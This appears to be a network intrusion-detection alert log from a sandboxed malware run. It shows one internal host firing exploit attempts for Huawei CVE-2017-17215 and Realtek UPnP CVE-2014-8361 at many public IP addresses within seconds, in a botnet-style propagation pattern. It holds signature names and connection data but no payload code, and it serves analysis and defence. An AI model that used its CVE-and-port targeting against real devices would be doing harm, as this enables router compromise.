07/20/24-23:01:14.536803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47374	52869	192.168.2.13	202.189.16.223
07/20/24-23:01:02.601732	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40544	37215	192.168.2.13	197.206.115.125
07/20/24-23:00:59.022603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52932	37215	192.168.2.13	197.185.241.200
07/20/24-23:01:14.536691	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39978	52869	192.168.2.13	111.37.65.174
07/20/24-23:01:27.361793	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60064	52869	192.168.2.13	134.45.224.216
07/20/24-23:01:04.842729	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49432	37215	192.168.2.13	157.81.239.235
07/20/24-23:01:14.546163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34056	52869	192.168.2.13	71.112.213.237
07/20/24-23:01:15.006697	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44854	37215	192.168.2.13	197.32.140.175
07/20/24-23:01:27.283164	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47548	37215	192.168.2.13	85.98.144.38
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38840	37215	192.168.2.13	157.107.197.136
07/20/24-23:01:14.509825	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50586	52869	192.168.2.13	135.241.25.166
07/20/24-23:01:03.934569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59994	52869	192.168.2.13	223.161.169.143
07/20/24-23:00:59.021580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53236	37215	192.168.2.13	2.69.54.160
07/20/24-23:01:25.409691	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54966	37215	192.168.2.13	157.83.17.109
07/20/24-23:01:36.837667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38754	37215	192.168.2.13	197.226.134.0
07/20/24-23:01:06.806393	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41260	37215	192.168.2.13	201.100.90.58
07/20/24-23:01:06.530408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58456	52869	192.168.2.13	39.240.110.128
07/20/24-23:01:06.813789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53234	37215	192.168.2.13	157.63.109.5
07/20/24-23:01:14.999580	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36712	37215	192.168.2.13	197.92.251.161
07/20/24-23:01:19.527278	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37656	52869	192.168.2.13	23.221.87.235
07/20/24-23:01:25.390959	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58166	37215	192.168.2.13	157.18.59.221
07/20/24-23:01:06.806392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57058	37215	192.168.2.13	157.160.175.59
07/20/24-23:00:59.020328	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42776	37215	192.168.2.13	197.245.35.233
07/20/24-23:01:14.530874	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50944	52869	192.168.2.13	219.243.137.80
07/20/24-23:01:06.564866	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46244	52869	192.168.2.13	191.94.176.193
07/20/24-23:01:25.391568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38386	37215	192.168.2.13	41.95.222.18
07/20/24-23:01:22.737919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46066	37215	192.168.2.13	41.37.173.52
07/20/24-23:01:22.753217	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54918	37215	192.168.2.13	157.169.135.127
07/20/24-23:01:32.271087	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45618	37215	192.168.2.13	197.191.183.76
07/20/24-23:01:25.417465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53258	37215	192.168.2.13	197.243.39.68
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48962	37215	192.168.2.13	41.148.75.78
07/20/24-23:01:07.330081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35222	52869	192.168.2.13	1.212.57.243
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38374	37215	192.168.2.13	197.205.39.3
07/20/24-23:01:04.874130	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60930	37215	192.168.2.13	157.199.202.121
07/20/24-23:01:04.219068	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43308	52869	192.168.2.13	104.26.83.71
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39626	37215	192.168.2.13	41.58.92.58
07/20/24-23:01:32.206772	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47640	37215	192.168.2.13	103.163.69.80
07/20/24-23:01:14.539379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44528	52869	192.168.2.13	176.151.180.197
07/20/24-23:01:04.893876	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40742	37215	192.168.2.13	41.140.230.143
07/20/24-23:01:27.229449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50928	37215	192.168.2.13	41.211.137.240
07/20/24-23:01:08.407500	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52894	37215	192.168.2.13	157.122.14.146
07/20/24-23:01:04.763827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55270	52869	192.168.2.13	121.35.219.146
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45954	37215	192.168.2.13	197.230.171.137
07/20/24-23:01:04.870311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38046	37215	192.168.2.13	197.78.107.93
07/20/24-23:01:25.391568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40308	37215	192.168.2.13	158.244.218.71
07/20/24-23:01:14.517363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33822	52869	192.168.2.13	48.113.240.162
07/20/24-23:01:14.501229	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49114	52869	192.168.2.13	89.116.1.211
07/20/24-23:01:14.559132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50004	52869	192.168.2.13	204.210.9.128
07/20/24-23:01:04.855996	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37016	37215	192.168.2.13	197.53.114.4
07/20/24-23:01:25.406212	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38342	37215	192.168.2.13	61.168.45.140
07/20/24-23:01:36.785491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43564	37215	192.168.2.13	156.63.203.166
07/20/24-23:01:04.153300	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52134	52869	192.168.2.13	58.55.6.110
07/20/24-23:01:07.251986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33638	52869	192.168.2.13	40.14.24.23
07/20/24-23:01:19.859226	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55592	52869	192.168.2.13	1.125.24.131
07/20/24-23:01:36.850220	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38896	37215	192.168.2.13	186.48.96.212
07/20/24-23:01:06.557827	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60952	52869	192.168.2.13	153.105.129.20
07/20/24-23:01:04.892375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56074	37215	192.168.2.13	41.37.83.90
07/20/24-23:01:02.669608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37176	37215	192.168.2.13	41.119.197.216
07/20/24-23:00:59.020175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56530	37215	192.168.2.13	157.178.20.242
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47188	37215	192.168.2.13	41.74.135.43
07/20/24-23:01:20.463712	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46486	52869	192.168.2.13	165.40.137.113
07/20/24-23:00:59.020191	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38858	37215	192.168.2.13	41.209.60.208
07/20/24-23:01:12.533730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56068	37215	192.168.2.13	41.37.133.136
07/20/24-23:01:14.520422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46936	52869	192.168.2.13	160.89.205.146
07/20/24-23:01:36.780780	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58760	37215	192.168.2.13	197.147.162.60
07/20/24-23:01:22.746527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54510	37215	192.168.2.13	197.22.219.167
07/20/24-23:00:59.021510	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41822	37215	192.168.2.13	157.181.146.64
07/20/24-23:01:03.943153	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39056	52869	192.168.2.13	204.46.251.166
07/20/24-23:01:36.785490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50408	37215	192.168.2.13	157.213.14.144
07/20/24-23:01:27.361024	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41334	52869	192.168.2.13	83.133.236.199
07/20/24-23:01:36.796105	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36500	37215	192.168.2.13	197.81.163.166
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55098	37215	192.168.2.13	157.240.64.102
07/20/24-23:01:27.354949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40744	52869	192.168.2.13	159.21.195.127
07/20/24-23:01:22.797406	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51992	37215	192.168.2.13	197.133.222.199
07/20/24-23:01:12.356455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52036	37215	192.168.2.13	157.76.15.207
07/20/24-23:01:25.404749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40624	37215	192.168.2.13	197.240.53.199
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59920	37215	192.168.2.13	157.246.248.119
07/20/24-23:01:27.269293	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57262	37215	192.168.2.13	75.29.136.52
07/20/24-23:01:04.846946	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42160	37215	192.168.2.13	41.252.153.174
07/20/24-23:01:02.628234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51216	37215	192.168.2.13	80.166.177.56
07/20/24-23:01:19.070489	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53418	52869	192.168.2.13	197.103.196.150
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39376	37215	192.168.2.13	41.79.65.151
07/20/24-23:01:14.541501	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41896	52869	192.168.2.13	77.190.202.82
07/20/24-23:01:25.391568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52722	37215	192.168.2.13	197.51.100.49
07/20/24-23:01:07.306871	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38864	52869	192.168.2.13	92.60.201.159
07/20/24-23:01:36.795205	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52094	37215	192.168.2.13	197.153.240.232
07/20/24-23:01:06.649751	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34368	52869	192.168.2.13	162.202.222.182
07/20/24-23:01:07.562020	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53244	52869	192.168.2.13	206.239.43.25
07/20/24-23:01:04.606670	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40556	52869	192.168.2.13	35.117.84.161
07/20/24-23:00:59.021393	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54336	37215	192.168.2.13	197.70.102.93
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49912	37215	192.168.2.13	197.28.62.129
07/20/24-23:01:14.527950	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40684	52869	192.168.2.13	172.51.83.216
07/20/24-23:01:12.494929	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57004	37215	192.168.2.13	157.69.240.56
07/20/24-23:01:06.253723	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50566	52869	192.168.2.13	92.52.112.233
07/20/24-23:00:59.019910	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49448	37215	192.168.2.13	157.34.28.229
07/20/24-23:01:07.590873	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35724	52869	192.168.2.13	135.82.236.8
07/20/24-23:01:07.218094	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38068	52869	192.168.2.13	47.14.186.72
07/20/24-23:01:08.386561	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53400	37215	192.168.2.13	197.235.181.130
07/20/24-23:01:04.942037	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53050	37215	192.168.2.13	157.122.113.19
07/20/24-23:01:14.512728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52674	52869	192.168.2.13	162.120.56.216
07/20/24-23:01:19.948054	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40046	52869	192.168.2.13	159.21.195.127
07/20/24-23:01:06.348171	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54546	52869	192.168.2.13	99.160.201.206
07/20/24-23:01:36.799485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45476	37215	192.168.2.13	41.6.220.227
07/20/24-23:01:04.858015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55316	37215	192.168.2.13	41.154.239.57
07/20/24-23:01:14.536390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39518	52869	192.168.2.13	76.239.185.4
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37948	37215	192.168.2.13	41.243.238.243
07/20/24-23:01:14.525838	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57822	52869	192.168.2.13	75.16.206.108
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56938	37215	192.168.2.13	41.101.96.17
07/20/24-23:01:14.543026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43356	52869	192.168.2.13	81.73.195.232
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36476	37215	192.168.2.13	157.141.29.177
07/20/24-23:01:14.574230	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44968	52869	192.168.2.13	112.136.148.134
07/20/24-23:01:22.746773	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46466	37215	192.168.2.13	41.149.121.17
07/20/24-23:01:36.812730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40208	37215	192.168.2.13	99.113.93.165
07/20/24-23:01:06.820921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45000	37215	192.168.2.13	197.197.183.19
07/20/24-23:01:06.813789	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49100	37215	192.168.2.13	41.36.47.12
07/20/24-23:01:14.521866	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35338	52869	192.168.2.13	222.97.13.69
07/20/24-23:00:59.022751	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57056	37215	192.168.2.13	197.109.166.112
07/20/24-23:01:12.360354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53234	37215	192.168.2.13	89.59.219.11
07/20/24-23:00:59.055059	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60614	37215	192.168.2.13	197.136.94.142
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60550	37215	192.168.2.13	197.68.253.229
07/20/24-23:01:14.521866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35338	52869	192.168.2.13	222.97.13.69
07/20/24-23:01:21.670918	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34304	52869	192.168.2.13	98.113.228.216
07/20/24-23:01:19.219285	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33092	52869	192.168.2.13	43.126.159.21
07/20/24-23:01:36.780757	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35150	37215	192.168.2.13	197.130.84.153
07/20/24-23:01:05.813514	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33182	52869	192.168.2.13	19.96.215.60
07/20/24-23:00:59.020449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40410	37215	192.168.2.13	157.108.71.72
07/20/24-23:01:06.812907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54196	37215	192.168.2.13	157.225.176.9
07/20/24-23:01:14.530874	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43200	52869	192.168.2.13	216.44.193.248
07/20/24-23:01:36.812730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43568	37215	192.168.2.13	41.67.215.252
07/20/24-23:01:06.326396	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48684	52869	192.168.2.13	183.32.240.14
07/20/24-23:01:02.595730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42080	37215	192.168.2.13	197.107.200.173
07/20/24-23:01:04.867862	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41240	37215	192.168.2.13	41.217.147.78
07/20/24-23:01:12.484346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58988	37215	192.168.2.13	197.115.220.136
07/20/24-23:01:07.504277	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52006	52869	192.168.2.13	71.163.97.163
07/20/24-23:01:19.364895	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47916	52869	192.168.2.13	170.245.248.200
07/20/24-23:01:14.513824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36180	52869	192.168.2.13	98.189.122.151
07/20/24-23:01:22.736706	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49312	37215	192.168.2.13	195.163.106.174
07/20/24-23:01:06.669743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42584	52869	192.168.2.13	8.85.166.254
07/20/24-23:01:27.361024	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53210	52869	192.168.2.13	138.112.34.112
07/20/24-23:01:06.798866	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37538	37215	192.168.2.13	157.244.22.221
07/20/24-23:01:36.850220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46350	37215	192.168.2.13	41.20.12.234
07/20/24-23:01:32.203847	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38444	37215	192.168.2.13	41.33.125.198
07/20/24-23:01:15.000001	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56576	37215	192.168.2.13	197.241.51.205
07/20/24-23:01:04.738781	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59122	52869	192.168.2.13	129.209.221.62
07/20/24-23:01:27.204639	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36970	37215	192.168.2.13	197.7.176.177
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58604	37215	192.168.2.13	41.236.26.155
07/20/24-23:01:25.449989	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53680	37215	192.168.2.13	41.230.49.196
07/20/24-23:01:14.525496	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50548	52869	192.168.2.13	125.82.19.196
07/20/24-23:01:36.787101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58900	37215	192.168.2.13	157.233.230.86
07/20/24-23:00:59.023193	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50670	37215	192.168.2.13	197.56.38.36
07/20/24-23:01:22.741097	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50284	37215	192.168.2.13	163.65.36.38
07/20/24-23:01:32.232613	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38802	37215	192.168.2.13	169.212.52.234
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46544	37215	192.168.2.13	157.167.94.194
07/20/24-23:01:06.820921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58964	37215	192.168.2.13	41.73.30.10
07/20/24-23:01:14.536803	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44334	52869	192.168.2.13	115.130.21.220
07/20/24-23:01:06.525721	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53966	52869	192.168.2.13	13.146.164.210
07/20/24-23:01:32.257456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49708	37215	192.168.2.13	157.17.101.178
07/20/24-23:01:14.543026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43356	52869	192.168.2.13	81.73.195.232
07/20/24-23:01:22.748875	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58870	37215	192.168.2.13	157.96.53.15
07/20/24-23:01:32.259330	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59440	37215	192.168.2.13	1.100.100.157
07/20/24-23:00:59.020685	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49466	37215	192.168.2.13	157.231.126.250
07/20/24-23:01:27.366334	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40494	52869	192.168.2.13	13.21.70.134
07/20/24-23:01:14.547224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45678	52869	192.168.2.13	165.40.111.49
07/20/24-23:01:14.508164	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39936	52869	192.168.2.13	183.89.166.139
07/20/24-23:01:36.852816	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60748	37215	192.168.2.13	157.242.51.154
07/20/24-23:00:59.022586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41912	37215	192.168.2.13	196.108.28.41
07/20/24-23:01:14.547545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37078	52869	192.168.2.13	122.26.122.109
07/20/24-23:01:25.391404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60716	37215	192.168.2.13	125.85.149.118
07/20/24-23:01:36.780651	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38600	37215	192.168.2.13	197.184.200.133
07/20/24-23:01:12.490733	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40844	37215	192.168.2.13	41.79.117.67
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59930	37215	192.168.2.13	89.176.16.102
07/20/24-23:01:05.776003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58942	52869	192.168.2.13	13.145.132.17
07/20/24-23:01:14.503288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59548	52869	192.168.2.13	144.242.214.134
